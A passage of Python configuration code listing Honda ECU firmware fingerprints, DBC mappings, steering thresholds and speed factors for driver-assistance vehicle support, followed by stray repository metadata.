(Ecu.programmedFuelInjection, 0x18da10f1, None): [ b'37805-6A0-A640\x00\x00', b'37805-6B2-A550\x00\x00', b'37805-6B2-A560\x00\x00', b'37805-6B2-A650\x00\x00', b'37805-6B2-A660\x00\x00', b'37805-6B2-A720\x00\x00', b'37805-6B2-M520\x00\x00', ], (Ecu.shiftByWire, 0x18da0bf1, None): [ b'54008-TVC-A910\x00\x00', ], (Ecu.transmission, 0x18da1ef1, None): [ b'28102-6B8-A560\x00\x00', b'28102-6B8-A570\x00\x00', b'28102-6B8-A800\x00\x00', b'28102-6B8-C570\x00\x00', b'28102-6B8-M520\x00\x00', ], (Ecu.electricBrakeBooster, 0x18da2bf1, None): [ b'46114-TVA-A060\x00\x00', b'46114-TVA-A080\x00\x00', b'46114-TVA-A120\x00\x00', ], (Ecu.vsa, 0x18da28f1, None): [ b'57114-TVA-C040\x00\x00', b'57114-TVA-C050\x00\x00', b'57114-TVA-C060\x00\x00', ], (Ecu.eps, 0x18da30f1, None): [ b'39990-TVA,A150\x00\x00', b'39990-TVA-A150\x00\x00', b'39990-TVA-A160\x00\x00', b'39990-TVA-X030\x00\x00', ], (Ecu.unknown, 0x18da3af1, None): [ b'39390-TVA-A020\x00\x00', ], (Ecu.srs, 0x18da53f1, None): [ b'77959-TVA-A460\x00\x00', b'77959-TVA-X330\x00\x00', ], (Ecu.combinationMeter, 0x18da60f1, None): [ b'78109-TVA-A210\x00\x00', b'78109-TVC-A010\x00\x00', b'78109-TVC-A020\x00\x00', b'78109-TVC-A110\x00\x00', b'78109-TVC-A210\x00\x00', b'78109-TVC-C110\x00\x00', b'78109-TVC-M510\x00\x00', ], (Ecu.hud, 0x18da61f1, None): [ b'78209-TVA-A010\x00\x00', ], (Ecu.fwdRadar, 0x18dab0f1, None): [ b'36802-TVA-A160\x00\x00', b'36802-TVA-A170\x00\x00', b'36802-TWA-A070\x00\x00', ], (Ecu.fwdCamera, 0x18dab5f1, None): [ b'36161-TVA-A060\x00\x00', b'36161-TWA-A070\x00\x00', ], (Ecu.gateway, 0x18daeff1, None): [ b'38897-TVA-A010\x00\x00', ], }, CAR.ACCORD_15: { (Ecu.programmedFuelInjection, 0x18da10f1, None): [ b'37805-6A0-9620\x00\x00', b'37805-6A0-A540\x00\x00', b'37805-6A0-A640\x00\x00', b'37805-6A0-A650\x00\x00', b'37805-6A0-A740\x00\x00', b'37805-6A0-A750\x00\x00', b'37805-6A0-A840\x00\x00', b'37805-6A0-A850\x00\x00', b'37805-6A0-C540\x00\x00', b'37805-6A1-H650\x00\x00', ], (Ecu.transmission, 0x18da1ef1, None): [ b'28101-6A7-A220\x00\x00', b'28101-6A7-A230\x00\x00', b'28101-6A7-A320\x00\x00', b'28101-6A7-A330\x00\x00', b'28101-6A7-A510\x00\x00', b'28101-6A9-H140\x00\x00', ], (Ecu.gateway, 0x18daeff1, None): [ b'38897-TVA-A230\x00\x00', ], (Ecu.electricBrakeBooster, 0x18da2bf1, None): [ b'46114-TVA-A050\x00\x00', b'46114-TVA-A060\x00\x00', b'46114-TVA-A080\x00\x00', b'46114-TVA-A120\x00\x00', b'46114-TVE-H550\x00\x00', ], (Ecu.combinationMeter, 0x18da60f1, None): [ b'78109-TVA-A010\x00\x00', b'78109-TVA-A110\x00\x00', b'78109-TVA-A210\x00\x00', b'78109-TVA-A220\x00\x00', b'78109-TVA-A310\x00\x00', b'78109-TVA-C010\x00\x00', b'78109-TVE-H610\x00\x00', b'78109-TWA-A210\x00\x00', ], (Ecu.hud, 0x18da61f1, None): [ b'78209-TVA-A010\x00\x00', ], (Ecu.fwdCamera, 0x18dab5f1, None): [ b'36161-TVA-A060\x00\x00', b'36161-TVE-H050\x00\x00', ], (Ecu.srs, 0x18da53f1, None): [ b'77959-TVA-A460\x00\x00', b'77959-TVA-H230\x00\x00', ], (Ecu.vsa, 0x18da28f1, None): [ b'57114-TVA-B050\x00\x00', b'57114-TVA-B040\x00\x00', b'57114-TVE-H250\x00\x00', ], (Ecu.fwdRadar, 0x18dab0f1, None): [ b'36802-TVA-A150\x00\x00', b'36802-TVA-A160\x00\x00', b'36802-TVA-A170\x00\x00', b'36802-TVE-H070\x00\x00', ], (Ecu.eps, 0x18da30f1, None): [ b'39990-TVA-A140\x00\x00', b'39990-TVA-A150\x00\x00', # Are these two different steerRatio? b'39990-TVA-A160\x00\x00', # Sport, Sport 2.0T and Touring 2.0T have different ratios b'39990-TVE-H130\x00\x00', ], }, CAR.ACCORDH: { (Ecu.gateway, 0x18daeff1, None): [ b'38897-TWA-A120\x00\x00', ], (Ecu.vsa, 0x18da28f1, None): [ b'57114-TWA-A040\x00\x00', b'57114-TWA-A050\x00\x00', ], (Ecu.srs, 0x18da53f1, None): [ b'77959-TWA-A440\x00\x00', ], (Ecu.combinationMeter, 0x18da60f1, None): [ b'78109-TWA-A010\x00\x00', b'78109-TWA-A020\x00\x00', b'78109-TWA-A110\x00\x00', b'78109-TWA-A120\x00\x00', b'78109-TWA-A210\x00\x00', b'78109-TWA-A220\x00\x00', ], (Ecu.shiftByWire, 0x18da0bf1, None): [ b'54008-TWA-A910\x00\x00', ], (Ecu.hud, 0x18da61f1, None): [ b'78209-TVA-A010\x00\x00', ], (Ecu.fwdCamera, 0x18dab5f1, None): [ b'36161-TWA-A070\x00\x00', ], (Ecu.fwdRadar, 0x18dab0f1, None): [ b'36802-TWA-A080\x00\x00', b'36802-TWA-A070\x00\x00', ], (Ecu.eps, 0x18da30f1, None): [ b'39990-TVA-A160\x00\x00', b'39990-TVA-A150\x00\x00', ], }, CAR.CIVIC: { (Ecu.programmedFuelInjection, 0x18da10f1, None): [ b'37805-5AA-A640\x00\x00', b'37805-5AA-A650\x00\x00', b'37805-5AA-A670\x00\x00', b'37805-5AA-A680\x00\x00', b'37805-5AA-A810\x00\x00', b'37805-5AA-C680\x00\x00', b'37805-5AA-C820\x00\x00', b'37805-5AA-L650\x00\x00', b'37805-5AA-L660\x00\x00', b'37805-5AA-L680\x00\x00', b'37805-5AA-L690\x00\x00', b'37805-5AJ-A610\x00\x00', b'37805-5AJ-A620\x00\x00', b'37805-5BA-A310\x00\x00', b'37805-5BA-A510\x00\x00', b'37805-5BA-A740\x00\x00', b'37805-5BA-A760\x00\x00', b'37805-5BA-A960\x00\x00', b'37805-5BA-L930\x00\x00', b'37805-5BA-L940\x00\x00', b'37805-5BA-L960\x00\x00', ], (Ecu.transmission, 0x18da1ef1, None): [ b'28101-5CG-A040\x00\x00', b'28101-5CG-A050\x00\x00', b'28101-5CG-A070\x00\x00', b'28101-5CG-A080\x00\x00', b'28101-5CG-A810\x00\x00', b'28101-5CG-A820\x00\x00', b'28101-5DJ-A040\x00\x00', b'28101-5DJ-A060\x00\x00', b'28101-5DJ-A510\x00\x00', ], (Ecu.vsa, 0x18da28f1, None): [ b'57114-TBA-A540\x00\x00', b'57114-TBA-A550\x00\x00', b'57114-TBA-A560\x00\x00', b'57114-TBA-A570\x00\x00', ], (Ecu.eps, 0x18da30f1, None): [ b'39990-TBA,A030\x00\x00', b'39990-TBA-A030\x00\x00', b'39990-TBG-A030\x00\x00', b'39990-TEG-A010\x00\x00', ], (Ecu.srs, 0x18da53f1, None): [ b'77959-TBA-A030\x00\x00', b'77959-TBA-A040\x00\x00', b'77959-TBG-A030\x00\x00', ], (Ecu.combinationMeter, 0x18da60f1, None): [ b'78109-TBA-A510\x00\x00', b'78109-TBA-A520\x00\x00', b'78109-TBA-A530\x00\x00', b'78109-TBC-A310\x00\x00', b'78109-TBC-A320\x00\x00', b'78109-TBC-A510\x00\x00', b'78109-TBC-A520\x00\x00', b'78109-TBC-A530\x00\x00', b'78109-TBC-C510\x00\x00', b'78109-TBC-C520\x00\x00', b'78109-TBC-C530\x00\x00', b'78109-TBH-A530\x00\x00', b'78109-TEG-A310\x00\x00', ], (Ecu.fwdCamera, 0x18dab0f1, None): [ b'36161-TBA-A020\x00\x00', b'36161-TBA-A030\x00\x00', b'36161-TBA-A040\x00\x00', b'36161-TBC-A020\x00\x00', b'36161-TBC-A030\x00\x00', b'36161-TEG-A010\x00\x00', b'36161-TEG-A020\x00\x00', ], (Ecu.gateway, 0x18daeff1, None): [ b'38897-TBA-A010\x00\x00', b'38897-TBA-A020\x00\x00', ], }, CAR.CIVIC_BOSCH: { (Ecu.programmedFuelInjection, 0x18da10f1, None): [ b'37805-5AA-A940\x00\x00', b'37805-5AA-A950\x00\x00', b'37805-5AA-L940\x00\x00', b'37805-5AA-L950\x00\x00', b'37805-5AN-A750\x00\x00', b'37805-5AN-A830\x00\x00', b'37805-5AN-A840\x00\x00', b'37805-5AN-A930\x00\x00', b'37805-5AN-A940\x00\x00', b'37805-5AN-A950\x00\x00', b'37805-5AN-AG20\x00\x00', b'37805-5AN-AH20\x00\x00', b'37805-5AN-AJ30\x00\x00', b'37805-5AN-AK20\x00\x00', b'37805-5AN-AR20\x00\x00', b'37805-5AN-L940\x00\x00', b'37805-5AN-LF20\x00\x00', b'37805-5AN-LH20\x00\x00', b'37805-5AN-LJ20\x00\x00', b'37805-5AN-LR20\x00\x00', b'37805-5AN-LS20\x00\x00', b'37805-5AW-G720\x00\x00', b'37805-5AZ-E850\x00\x00', b'37805-5BB-A630\x00\x00', b'37805-5BB-A640\x00\x00', b'37805-5BB-C540\x00\x00', b'37805-5BB-C630\x00\x00', b'37805-5BB-L540\x00\x00', b'37805-5BB-L640\x00\x00', ], (Ecu.transmission, 0x18da1ef1, None): [ b'28101-5CG-A920\x00\x00', b'28101-5CG-AB10\x00\x00', b'28101-5CG-C110\x00\x00', b'28101-5CG-C220\x00\x00', b'28101-5CG-C320\x00\x00', b'28101-5CG-G020\x00\x00', b'28101-5CK-A130\x00\x00', b'28101-5CK-A140\x00\x00', b'28101-5CK-A150\x00\x00', b'28101-5CK-C130\x00\x00', b'28101-5CK-C140\x00\x00', b'28101-5DJ-A610\x00\x00', b'28101-5DJ-A710\x00\x00', b'28101-5DV-E330\x00\x00', ], (Ecu.vsa, 0x18da28f1, None): [ b'57114-TBG-A340\x00\x00', b'57114-TBG-A350\x00\x00', b'57114-TGG-A340\x00\x00', b'57114-TGG-C320\x00\x00', b'57114-TGG-L320\x00\x00', b'57114-TGG-L330\x00\x00', b'57114-TGL-G330\x00\x00', ], (Ecu.eps, 0x18da30f1, None): [ b'39990-TBA-C020\x00\x00', b'39990-TBA-C120\x00\x00', b'39990-TEZ-T020\x00\x00', b'39990-TGG-A020\x00\x00', b'39990-TGG-A120\x00\x00', b'39990-TGL-E130\x00\x00', ], (Ecu.srs, 0x18da53f1, None): [ b'77959-TBA-A060\x00\x00', b'77959-TEA-G020\x00\x00', b'77959-TGG-A020\x00\x00', b'77959-TGG-A030\x00\x00', b'77959-TGG-G010\x00\x00', ], (Ecu.combinationMeter, 0x18da60f1, None): [ b'78109-TBA-A110\x00\x00', b'78109-TBA-A910\x00\x00', b'78109-TBA-C340\x00\x00', b'78109-TBA-C910\x00\x00', b'78109-TBC-A740\x00\x00', b'78109-TFJ-G020\x00\x00', b'78109-TGG-A210\x00\x00', b'78109-TGG-A220\x00\x00', b'78109-TGG-A310\x00\x00', b'78109-TGG-A320\x00\x00', b'78109-TGG-A330\x00\x00', b'78109-TGG-A610\x00\x00', b'78109-TGG-A620\x00\x00', b'78109-TGG-A810\x00\x00', b'78109-TGG-A820\x00\x00', b'78109-TGL-G120\x00\x00', ], (Ecu.fwdRadar, 0x18dab0f1, None): [ b'36802-TBA-A150\x00\x00', b'36802-TFJ-G060\x00\x00', b'36802-TGG-A050\x00\x00', b'36802-TGG-A060\x00\x00', b'36802-TGG-A130\x00\x00', b'36802-TGL-G040\x00\x00', ], (Ecu.fwdCamera, 0x18dab5f1, None): [ b'36161-TBA-A130\x00\x00', b'36161-TBA-A140\x00\x00', b'36161-TFJ-G070\x00\x00', b'36161-TGG-A060\x00\x00', b'36161-TGG-A080\x00\x00', b'36161-TGG-A120\x00\x00', b'36161-TGL-G050\x00\x00', ], (Ecu.gateway, 0x18daeff1, None): [ b'38897-TBA-A110\x00\x00', b'38897-TBA-A020\x00\x00', ], }, CAR.CIVIC_BOSCH_DIESEL: { (Ecu.programmedFuelInjection, 0x18da10f1, None): [b'37805-59N-G830\x00\x00'], (Ecu.transmission, 0x18da1ef1, None): [b'28101-59Y-G620\x00\x00'], (Ecu.vsa, 0x18da28f1, None): [b'57114-TGN-E320\x00\x00'], (Ecu.eps, 0x18da30f1, None): [b'39990-TFK-G020\x00\x00'], (Ecu.srs, 0x18da53f1, None): [b'77959-TFK-G210\x00\x00'], (Ecu.combinationMeter, 0x18da60f1, None): [b'78109-TFK-G020\x00\x00'], (Ecu.fwdRadar, 0x18dab0f1, None): [b'36802-TFK-G130\x00\x00'], (Ecu.shiftByWire, 0x18da0bf1, None): [b'54008-TGN-E010\x00\x00'], (Ecu.fwdCamera, 0x18dab5f1, None): [b'36161-TFK-G130\x00\x00'], (Ecu.gateway, 0x18daeff1, None): [b'38897-TBA-A020\x00\x00'], }, CAR.CRV: { (Ecu.vsa, 0x18da28f1, None): [b'57114-T1W-A230\x00\x00',], (Ecu.srs, 0x18da53f1, None): [b'77959-T0A-A230\x00\x00',], (Ecu.combinationMeter, 0x18da60f1, None): [b'78109-T1W-A210\x00\x00',], (Ecu.fwdRadar, 0x18dab0f1, None): [b'36161-T1W-A830\x00\x00',], }, CAR.CRV_5G: { (Ecu.programmedFuelInjection, 0x18da10f1, None): [ b'37805-5PA-3060\x00\x00', b'37805-5PA-3080\x00\x00', b'37805-5PA-4050\x00\x00', b'37805-5PA-6520\x00\x00', b'37805-5PA-6530\x00\x00', b'37805-5PA-6630\x00\x00', b'37805-5PA-9640\x00\x00', b'37805-5PA-9830\x00\x00', b'37805-5PA-A650\x00\x00', b'37805-5PA-A670\x00\x00', b'37805-5PA-A680\x00\x00', b'37805-5PA-A850\x00\x00', b'37805-5PA-A870\x00\x00', b'37805-5PA-A880\x00\x00', b'37805-5PA-A890\x00\x00', b'37805-5PD-Q630\x00\x00', ], (Ecu.transmission, 0x18da1ef1, None): [ b'28101-5RG-A020\x00\x00', b'28101-5RG-A030\x00\x00', b'28101-5RG-A040\x00\x00', b'28101-5RG-A120\x00\x00', b'28101-5RG-A220\x00\x00', b'28101-5RH-A020\x00\x00', b'28101-5RH-A030\x00\x00', b'28101-5RH-A040\x00\x00', b'28101-5RH-A120\x00\x00', b'28101-5RH-A220\x00\x00', b'28101-5RL-Q010\x00\x00', ], (Ecu.vsa, 0x18da28f1, None): [ b'57114-TLA-A040\x00\x00', b'57114-TLA-A050\x00\x00', b'57114-TLA-A060\x00\x00', b'57114-TLB-A830\x00\x00', b'57114-TMC-Z050\x00\x00', ], (Ecu.eps, 0x18da30f1, None): [ b'39990-TLA,A040\x00\x00', b'39990-TLA-A040\x00\x00', b'39990-TLA-A110\x00\x00', b'39990-TLA-A220\x00\x00', b'39990-TMT-T010\x00\x00', ], (Ecu.electricBrakeBooster, 0x18da2bf1, None): [ b'46114-TLA-A040\x00\x00', b'46114-TLA-A050\x00\x00', b'46114-TLA-A930\x00\x00', b'46114-TMC-U020\x00\x00', ], (Ecu.combinationMeter, 0x18da60f1, None): [ b'78109-TLA-A110\x00\x00', b'78109-TLA-A210\x00\x00', b'78109-TLA-A220\x00\x00', b'78109-TLA-C210\x00\x00', b'78109-TLB-A110\x00\x00', b'78109-TLB-A210\x00\x00', b'78109-TLB-A220\x00\x00', b'78109-TMC-Q210\x00\x00', ], (Ecu.gateway, 0x18daeff1, None): [ b'38897-TLA-A010\x00\x00', b'38897-TLA-A110\x00\x00', b'38897-TNY-G010\x00\x00', ], (Ecu.fwdRadar, 0x18dab0f1, None): [ b'36802-TLA-A040\x00\x00', b'36802-TLA-A050\x00\x00', b'36802-TLA-A060\x00\x00', b'36802-TMC-Q070\x00\x00', b'36802-TNY-A030\x00\x00', ], (Ecu.fwdCamera, 0x18dab5f1, None): [ b'36161-TLA-A060\x00\x00', b'36161-TLA-A070\x00\x00', b'36161-TLA-A080\x00\x00', b'36161-TMC-Q040\x00\x00', b'36161-TNY-A020\x00\x00', ], (Ecu.srs, 0x18da53f1, None): [ b'77959-TLA-A240\x00\x00', b'77959-TLA-A250\x00\x00', b'77959-TLA-A320\x00\x00', b'77959-TLA-Q040\x00\x00', ], }, CAR.CRV_EU: { (Ecu.programmedFuelInjection, 0x18da10f1, None): [ b'37805-R5Z-G740\x00\x00', b'37805-R5Z-G780\x00\x00', ], (Ecu.vsa, 0x18da28f1, None): [b'57114-T1V-G920\x00\x00'], (Ecu.fwdRadar, 0x18dab0f1, None): [b'36161-T1V-G520\x00\x00'], (Ecu.shiftByWire, 0x18da0bf1, None): [b'54008-T1V-G010\x00\x00'], (Ecu.transmission, 0x18da1ef1, None): [ b'28101-5LH-E120\x00\x00', b'28103-5LH-E100\x00\x00', ], (Ecu.combinationMeter, 0x18da60f1, None): [ b'78109-T1V-G020\x00\x00', b'78109-T1B-3050\x00\x00', ], (Ecu.srs, 0x18da53f1, None): [b'77959-T1G-G940\x00\x00'], }, CAR.CRV_HYBRID: { (Ecu.vsa, 0x18da28f1, None): [ b'57114-TPA-G020\x00\x00', b'57114-TPG-A020\x00\x00', ], (Ecu.eps, 0x18da30f1, None): [ b'39990-TPA-G030\x00\x00', b'39990-TPG-A020\x00\x00', ], (Ecu.gateway, 0x18daeff1, None): [ b'38897-TMA-H110\x00\x00', b'38897-TPG-A110\x00\x00', ], (Ecu.shiftByWire, 0x18da0bf1, None): [ b'54008-TMB-H510\x00\x00', b'54008-TMB-H610\x00\x00', ], (Ecu.fwdCamera, 0x18dab5f1, None): [ b'36161-TPA-E050\x00\x00', b'36161-TPG-A030\x00\x00', ], (Ecu.combinationMeter, 0x18da60f1, None): [ b'78109-TPA-G520\x00\x00', b'78109-TPG-A110\x00\x00', ], (Ecu.hud, 0x18da61f1, None): [ b'78209-TLA-X010\x00\x00', ], (Ecu.fwdRadar, 0x18dab0f1, None): [ b'36802-TPA-E040\x00\x00', b'36802-TPG-A020\x00\x00', ], (Ecu.srs, 0x18da53f1, None): [ b'77959-TLA-G220\x00\x00', b'77959-TLA-C320\x00\x00', ], }, CAR.FIT: { (Ecu.vsa, 0x18da28f1, None): [ b'57114-T5R-L220\x00\x00', ], (Ecu.eps, 0x18da30f1, None): [ b'39990-T5R-C020\x00\x00', b'39990-T5R-C030\x00\x00', ], (Ecu.gateway, 0x18daeff1, None): [ b'38897-T5A-J010\x00\x00', ], (Ecu.combinationMeter, 0x18da60f1, None): [ b'78109-T5A-A420\x00\x00', b'78109-T5A-A910\x00\x00', ], (Ecu.fwdRadar, 0x18dab0f1, None): [ b'36161-T5R-A240\x00\x00', b'36161-T5R-A520\x00\x00', ], (Ecu.srs, 0x18da53f1, None): [ b'77959-T5R-A230\x00\x00', ], }, CAR.ODYSSEY: { (Ecu.gateway, 0x18daeff1, None): [ b'38897-THR-A010\x00\x00', b'38897-THR-A020\x00\x00', ], (Ecu.programmedFuelInjection, 0x18da10f1, None): [ b'37805-5MR-A250\x00\x00', b'37805-5MR-A310\x00\x00', b'37805-5MR-A750\x00\x00', b'37805-5MR-A840\x00\x00', b'37805-5MR-C620\x00\x00', ], (Ecu.eps, 0x18da30f1, None): [ b'39990-THR-A020\x00\x00', b'39990-THR-A030\x00\x00', ], (Ecu.srs, 0x18da53f1, None): [ b'77959-THR-A010\x00\x00', b'77959-THR-A110\x00\x00', ], (Ecu.fwdCamera, 0x18dab0f1, None): [ b'36161-THR-A030\x00\x00', b'36161-THR-A110\x00\x00', b'36161-THR-A720\x00\x00', b'36161-THR-A730\x00\x00', b'36161-THR-A810\x00\x00', b'36161-THR-A910\x00\x00', b'36161-THR-C010\x00\x00', ], (Ecu.transmission, 0x18da1ef1, None): [ b'28101-5NZ-A310\x00\x00', b'28101-5NZ-C310\x00\x00', b'28102-5MX-A001\x00\x00', b'28102-5MX-A600\x00\x00', b'28102-5MX-A610\x00\x00', b'28102-5MX-A710\x00\x00', b'28102-5MX-A900\x00\x00', b'28102-5MX-A910\x00\x00', b'28102-5MX-C001\x00\x00', b'28103-5NZ-A300\x00\x00', ], (Ecu.vsa, 0x18da28f1, None): [ b'57114-THR-A040\x00\x00', b'57114-THR-A110\x00\x00', ], (Ecu.combinationMeter, 0x18da60f1, None): [ b'78109-THR-A230\x00\x00', b'78109-THR-A430\x00\x00', b'78109-THR-A820\x00\x00', b'78109-THR-A830\x00\x00', b'78109-THR-AB20\x00\x00', b'78109-THR-AB30\x00\x00', b'78109-THR-AB40\x00\x00', b'78109-THR-AC40\x00\x00', b'78109-THR-AE20\x00\x00', b'78109-THR-AE40\x00\x00', b'78109-THR-AL10\x00\x00', b'78109-THR-AN10\x00\x00', b'78109-THR-C330\x00\x00', b'78109-THR-CE20\x00\x00', ], (Ecu.shiftByWire, 0x18da0bf1, None): [ b'54008-THR-A020\x00\x00', ], }, CAR.PILOT: { (Ecu.shiftByWire, 0x18da0bf1, None): [ b'54008-TG7-A520\x00\x00', ], (Ecu.transmission, 0x18da1ef1, None): [ b'28101-5EZ-A210\x00\x00', b'28101-5EZ-A100\x00\x00', b'28101-5EZ-A060\x00\x00', b'28101-5EZ-A050\x00\x00', ], (Ecu.programmedFuelInjection, 0x18da10f1, None): [ b'37805-RLV-C910\x00\x00', b'37805-RLV-C520\x00\x00', b'37805-RLV-C510\x00\x00', b'37805-RLV-4070\x00\x00', b'37805-RLV-A830\x00\x00', ], (Ecu.eps, 0x18da30f1, None): [ b'39990-TG7-A040\x00\x00', b'39990-TG7-A030\x00\x00', ], (Ecu.fwdCamera, 0x18dab0f1, None): [ b'36161-TG7-A520\x00\x00', b'36161-TG7-A820\x00\x00', b'36161-TG7-A720\x00\x00', ], (Ecu.srs, 0x18da53f1, None): [ b'77959-TG7-A110\x00\x00', b'77959-TG7-A020\x00\x00', ], (Ecu.combinationMeter, 0x18da60f1, None): [ b'78109-TG7-A720\x00\x00', b'78109-TG7-A520\x00\x00', b'78109-TG7-A420\x00\x00', b'78109-TG7-A040\x00\x00', ], (Ecu.vsa, 0x18da28f1, None): [ b'57114-TG7-A140\x00\x00', b'57114-TG7-A240\x00\x00', b'57114-TG7-A230\x00\x00', ], }, CAR.PILOT_2019: { (Ecu.eps, 0x18da30f1, None): [ b'39990-TG7-A060\x00\x00', b'39990-TGS-A230\x00\x00', ], (Ecu.gateway, 0x18daeff1, None): [ b'38897-TG7-A030\x00\x00', b'38897-TG7-A110\x00\x00', b'38897-TG7-A210\x00\x00', ], (Ecu.fwdCamera, 0x18dab0f1, None): [ b'36161-TG7-A630\x00\x00', b'36161-TG7-A930\x00\x00', b'36161-TG8-A630\x00\x00', b'36161-TGS-A130\x00\x00', b'36161-TGT-A030\x00\x00', ], (Ecu.srs, 0x18da53f1, None): [ b'77959-TG7-A210\x00\x00', b'77959-TGS-A010\x00\x00', ], (Ecu.combinationMeter, 0x18da60f1, None): [ b'78109-TG7-AJ20\x00\x00', b'78109-TG7-AK10\x00\x00', b'78109-TG7-AK20\x00\x00', b'78109-TG7-AP10\x00\x00', b'78109-TG7-AP20\x00\x00', b'78109-TG8-AJ20\x00\x00', b'78109-TGS-AK20\x00\x00', b'78109-TGS-AP20\x00\x00', b'78109-TGT-AJ20\x00\x00', ], (Ecu.vsa, 0x18da28f1, None): [ b'57114-TG7-A630\x00\x00', b'57114-TG7-A730\x00\x00', b'57114-TG8-A630\x00\x00', b'57114-TGS-A530\x00\x00', b'57114-TGT-A530\x00\x00', ], }, CAR.RIDGELINE: { (Ecu.eps, 0x18da30f1, None): [ b'39990-T6Z-A020\x00\x00', b'39990-T6Z-A030\x00\x00', ], (Ecu.fwdCamera, 0x18dab0f1, None): [ b'36161-T6Z-A020\x00\x00', b'36161-T6Z-A310\x00\x00', b'36161-T6Z-A520\x00\x00', ], (Ecu.gateway, 0x18daeff1, None): [ b'38897-T6Z-A010\x00\x00', b'38897-T6Z-A110\x00\x00', ], (Ecu.combinationMeter, 0x18da60f1, None): [ b'78109-T6Z-A420\x00\x00', b'78109-T6Z-A510\x00\x00', ], (Ecu.srs, 0x18da53f1, None): [ b'77959-T6Z-A020\x00\x00', ], (Ecu.vsa, 0x18da28f1, None): [ b'57114-T6Z-A120\x00\x00', b'57114-T6Z-A130\x00\x00', b'57114-T6Z-A520\x00\x00', ], }, CAR.INSIGHT: { (Ecu.eps, 0x18da30f1, None): [ b'39990-TXM-A040\x00\x00', ], (Ecu.fwdRadar, 0x18dab0f1, None): [ b'36802-TXM-A070\x00\x00', ], (Ecu.fwdCamera, 0x18dab5f1, None): [ b'36161-TXM-A050\x00\x00', b'36161-TXM-A060\x00\x00', ], (Ecu.srs, 0x18da53f1, None): [ b'77959-TXM-A230\x00\x00', ], (Ecu.vsa, 0x18da28f1, None): [ b'57114-TXM-A040\x00\x00', ], (Ecu.shiftByWire, 0x18da0bf1, None): [ b'54008-TWA-A910\x00\x00', ], (Ecu.gateway, 0x18daeff1, None): [ b'38897-TXM-A020\x00\x00', ], (Ecu.combinationMeter, 0x18da60f1, None): [ b'78109-TXM-A020\x00\x00', ], }, CAR.HRV: { (Ecu.gateway, 0x18daeff1, None): [b'38897-T7A-A010\x00\x00'], (Ecu.eps, 0x18da30f1, None): [b'39990-THX-A020\x00\x00'], (Ecu.fwdRadar, 0x18dab0f1, None): [b'36161-T7A-A240\x00\x00'], (Ecu.srs, 0x18da53f1, None): [b'77959-T7A-A230\x00\x00'], (Ecu.combinationMeter, 0x18da60f1, None): [b'78109-THX-A210\x00\x00'], }, } DBC = { CAR.ACCORD: dbc_dict('honda_accord_s2t_2018_can_generated', None), CAR.ACCORD_15: dbc_dict('honda_accord_lx15t_2018_can_generated', None), CAR.ACCORDH: dbc_dict('honda_accord_s2t_2018_can_generated', None), CAR.ACURA_ILX: dbc_dict('acura_ilx_2016_can_generated', 'acura_ilx_2016_nidec'), CAR.ACURA_RDX: dbc_dict('acura_rdx_2018_can_generated', 'acura_ilx_2016_nidec'), CAR.CIVIC: dbc_dict('honda_civic_touring_2016_can_generated', 'acura_ilx_2016_nidec'), CAR.CIVIC_BOSCH: dbc_dict('honda_civic_hatchback_ex_2017_can_generated', None), CAR.CIVIC_BOSCH_DIESEL: dbc_dict('honda_civic_sedan_16_diesel_2019_can_generated', None), CAR.CLARITY: dbc_dict('honda_clarity_hybrid_2018_can_generated', 'acura_ilx_2016_nidec'), CAR.CRV: dbc_dict('honda_crv_touring_2016_can_generated', 'acura_ilx_2016_nidec'), CAR.CRV_5G: dbc_dict('honda_crv_ex_2017_can_generated', None, body_dbc='honda_crv_ex_2017_body_generated'), CAR.CRV_EU: dbc_dict('honda_crv_executive_2016_can_generated', 'acura_ilx_2016_nidec'), CAR.CRV_HYBRID: dbc_dict('honda_crv_hybrid_2019_can_generated', None), CAR.FIT: dbc_dict('honda_fit_ex_2018_can_generated', 'acura_ilx_2016_nidec'), CAR.HRV: dbc_dict('honda_hrv_touring_2019_can_generated', 'acura_ilx_2016_nidec'), CAR.ODYSSEY: dbc_dict('honda_odyssey_exl_2018_generated', 'acura_ilx_2016_nidec'), CAR.ODYSSEY_CHN: dbc_dict('honda_odyssey_extreme_edition_2018_china_can_generated', 'acura_ilx_2016_nidec'), CAR.PILOT: dbc_dict('honda_pilot_touring_2017_can_generated', 'acura_ilx_2016_nidec'), CAR.PILOT_2019: dbc_dict('honda_pilot_touring_2017_can_generated', 'acura_ilx_2016_nidec'), CAR.RIDGELINE: dbc_dict('honda_ridgeline_black_edition_2017_can_generated', 'acura_ilx_2016_nidec'), CAR.INSIGHT: dbc_dict('honda_insight_ex_2019_can_generated', None), } STEER_THRESHOLD = { CAR.ACCORD: 1200, CAR.ACCORD_15: 1200, CAR.ACCORDH: 1200, CAR.ACURA_ILX: 1200, CAR.ACURA_RDX: 400, CAR.CIVIC: 1200, CAR.CIVIC_BOSCH: 1200, CAR.CIVIC_BOSCH_DIESEL: 1200, CAR.CLARITY: 1200, CAR.CRV: 1200, CAR.CRV_5G: 1200, CAR.CRV_EU: 400, CAR.CRV_HYBRID: 1200, CAR.FIT: 1200, CAR.HRV: 1200, CAR.ODYSSEY: 1200, CAR.ODYSSEY_CHN: 1200, CAR.PILOT: 1200, CAR.PILOT_2019: 1200, CAR.RIDGELINE: 1200, CAR.INSIGHT: 1200, } SPEED_FACTOR = { CAR.ACCORD: 1., CAR.ACCORD_15: 1., CAR.ACCORDH: 1., CAR.ACURA_ILX: 1., CAR.ACURA_RDX: 1., CAR.CIVIC: 1., CAR.CIVIC_BOSCH: 1., CAR.CIVIC_BOSCH_DIESEL: 1., CAR.CLARITY: 1., CAR.CRV: 1.025, CAR.CRV_5G: 1.025, CAR.CRV_EU: 1.025, CAR.CRV_HYBRID: 1.025, CAR.FIT: 1., CAR.HRV: 1.025, CAR.ODYSSEY: 1., CAR.ODYSSEY_CHN: 1., CAR.PILOT: 1., CAR.PILOT_2019: 1., CAR.RIDGELINE: 1., CAR.INSIGHT: 1., } # msgs sent for steering controller by camera module on can 0. # those messages are mutually exclusive on CRV and non-CRV cars ECU_FINGERPRINT = { Ecu.fwdCamera: [0xE4, 0x194], # steer torque cmd } HONDA_BOSCH = set([CAR.ACCORD, CAR.ACCORD_15, CAR.ACCORDH, CAR.CIVIC_BOSCH, CAR.CIVIC_BOSCH_DIESEL, CAR.CRV_5G, CAR.CRV_HYBRID, CAR.INSIGHT])
true
true
f7f3b03c5d856c8cbda28e03210c545792bfaea2
2,541
py
Python
networks/encoder.py
TropComplique/bicycle-gan
4bc8f4cdbe138e23c8a02c408cfb8e2ff7dfe6ab
[ "MIT" ]
4
2019-07-03T06:49:46.000Z
2020-10-03T12:17:41.000Z
networks/encoder.py
TropComplique/bicycle-gan
